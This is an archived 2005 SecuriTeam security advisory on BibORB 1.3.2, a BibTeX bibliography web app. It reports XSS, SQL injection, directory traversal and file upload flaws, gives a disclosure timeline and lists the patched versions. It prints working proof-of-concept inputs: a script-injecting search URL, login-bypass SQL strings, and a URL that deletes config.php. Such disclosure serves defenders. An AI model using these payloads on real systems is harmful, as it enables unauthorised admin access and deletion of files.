

# [UNIX] Multiple Vulnerabilities In BibORB

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-02/0086.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 02/21/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 21 Feb 2005 10:35:34 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

## Multiple Vulnerabilities In BibORB

---

### SUMMARY

<<http://biborb.glymn.net/doku.php>> BibORB is "a web-based solution to manage and share BibTeX bibliographies. It offers an easy way to edit, import or export BibTeX references and proposes a system for archiving electronic versions of papers contained in bibliographies".

Multiple vulnerabilities were found in BibORB that result in SQL injection, XSS, directory traversal and arbitrary file upload.

### DETAILS

#### Vulnerable Systems:

- \* BibORB version 1.3.2

#### Immune Systems:

- \* BibORB version 1.3.2 with security update
- \* BibORB version 1.3.3 RC1

#### Cross Site Scripting

Some variables such as search are not filtered, so XSS is possible.

[http://path/to/biborb/bibindex.php?mode=displaysearch&search=>alert\('XSS'\)</script>&sort=ID](http://path/to/biborb/bibindex.php?mode=displaysearch&search=>alert('XSS')</script>&sort=ID)

Securiteam: [UNIX] Multiple Vulnerabilities In BibORB

SQL Injection

If MySQL is used as authorization backend, SQL Injection may be used to get admin status.

When logging in, use the following username and password:

Username: x' or 1=1 or login='x  
Password: x') or 1=1 or password=md5('x

Directory Traversal

If a user has the right to delete database entries, arbitrary files accessible by the user under which the application runs may be deleted.

[http://path/to/biborb/index.php?mode=result&database\\_name=./config.php&action=Delete](http://path/to/biborb/index.php?mode=result&database_name=./config.php&action=Delete)

Disclosure Timeline:

- 01.02.2005 Maintainer contacted
- 08.02.2005 Delayed response due to mail problems
- 09.02.2005 First release of a patch
- 16.02.2005 Final patched version released

ADDITIONAL INFORMATION

The information has been provided by <mailto:security@surf25.de> Patrick Hof.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.